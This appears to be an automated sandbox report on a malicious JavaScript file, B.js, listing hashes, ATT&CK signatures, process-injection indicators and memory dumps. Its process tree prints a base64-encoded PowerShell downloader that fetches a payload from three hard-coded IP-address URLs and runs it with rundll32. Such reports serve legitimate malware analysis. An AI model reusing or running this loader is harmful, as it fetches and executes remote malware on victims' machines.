c6b9511a517fe7ed9abbe0b6ddc11623a75aece9481043ed0720670793031fd6

Analysis

max time kernel
30s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
04/05/2023, 10:34

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General

Target

B.js
Size

57KB
MD5

52d96ebabe2bc08cb504f4b7b29b5f65
SHA1

a609c8c0fbd4867421d65fa79834c3527cbb7690
SHA256

ef023b0a3aa55f424298cb1f64a496392c61c02b8167b04feedc7cc31d123f2b
SHA512

046cbcc8c80e2688432eaf1cf957388818f828642b6328fea5553adac4a25813ec875678c5c501577dc7c7288c9adbffd71195995aab18d51a76e9cff7b30c30
SSDEEP

768:VyMNhRhlTosj7PJMenmwELqOttPki0P9B9VosNMaEiGHGr6kQ7Ig1KzHyyLdSmKl:fUsZnwGGkQ7A0xherXT4EANnOvwr

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1628	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1628	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 896	1964	wscript.exe	28
PID 1964 wrote to memory of 896	1964	wscript.exe	28
PID 1964 wrote to memory of 896	1964	wscript.exe	28
PID 896 wrote to memory of 1628	896	wscript.exe	29
PID 896 wrote to memory of 1628	896	wscript.exe	29
PID 896 wrote to memory of 1628	896	wscript.exe	29

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\B.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\B.js" UnpiquedUnpreventative WiregrassUncrisp inthralls indiscussible
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JAB1AG4AZABlAHIAcABpAHQAYwBoAEUAeABoAGkAYgBpAHQAaQBvAG4AaQB6AGUAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADMANAAuADEAMQA5AC4ANwA5AC8AVQBYAFkALwBxAHQAUgBHAGgAaQBVAHAANgBlADYALABoAHQAdABwADoALwAvADEAMAA0AC4AMgAzADQALgAxADEAOAAuADEANQAzAC8AZQBoAHQAdABSADMALwBBAFcAawA0AHYASAAsAGgAdAB0AHAAOgAvAC8AMQA3ADIALgA4ADYALgAxADIAMwAuADEAMAAzAC8ANQBNAEcAeQBWAC8ANwB1ADcAZQBrADYARgA2ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGMAaABvAGsAZQBiAGUAcgByAHkAUQB1AGUAYQBjAGgAaQBlAHIAIABpAG4AIAAkAHUAbgBkAGUAcgBwAGkAdABjAGgARQB4AGgAaQBiAGkAdABpAG8AbgBpAHoAZQApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAYwBoAG8AawBlAGIAZQByAHIAeQBRAHUAZQBhAGMAaABpAGUAcgAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAQgBpAHMAYQBnAHIAZQAuAGQAaQBzAHAAbABhAGMAZQByAFAAaAB5AGwAbABvAHAAbwBkAG8AdQBzADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAQgBpAHMAYQBnAHIAZQAuAGQAaQBzAHAAbABhAGMAZQByAFAAaAB5AGwAbABvAHAAbwBkAG8AdQBzACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANQAwADAAMAAwACkAIAB7AHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAbgBjAG8AZABlAGQAYwBvAG0AbQBhAG4AZAAgACIAYwB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDAEEAQQBjAGcAQgAxAEEARwA0AEEAWgBBAEIAcwBBAEcAdwBBAE0AdwBBAHkAQQBDAEEAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEYAUQBBAFIAUQBCAE4AQQBGAEEAQQBYAEEAQgBDAEEARwBrAEEAYwB3AEIAaABBAEcAYwBBAGMAZwBCAGwAQQBDADQAQQBaAEEAQgBwAEEASABNAEEAYwBBAEIAcwBBAEcARQBBAFkAdwBCAGwAQQBIAEkAQQBVAEEAQgBvAEEASABrAEEAYgBBAEIAcwBBAEcAOABBAGMAQQBCAHYAQQBHAFEAQQBiAHcAQgAxAEEASABNAEEATABBAEIAVQBBAEcAawBBAGIAUQBCAGwAQQBEAHMAQQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7AH0AfQA="
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1628-58-0x000000001B140000-0x000000001B422000-memory.dmp

Filesize
2.9MB

Download
memory/1628-59-0x0000000002460000-0x0000000002468000-memory.dmp

Filesize
32KB

Download
memory/1628-60-0x00000000022E0000-0x0000000002360000-memory.dmp

Filesize
512KB

Download
memory/1628-62-0x00000000022E0000-0x0000000002360000-memory.dmp

Filesize
512KB

Download
memory/1628-61-0x00000000022E0000-0x0000000002360000-memory.dmp

Filesize
512KB

Download
memory/1628-63-0x00000000022E0000-0x0000000002360000-memory.dmp

Filesize
512KB

Download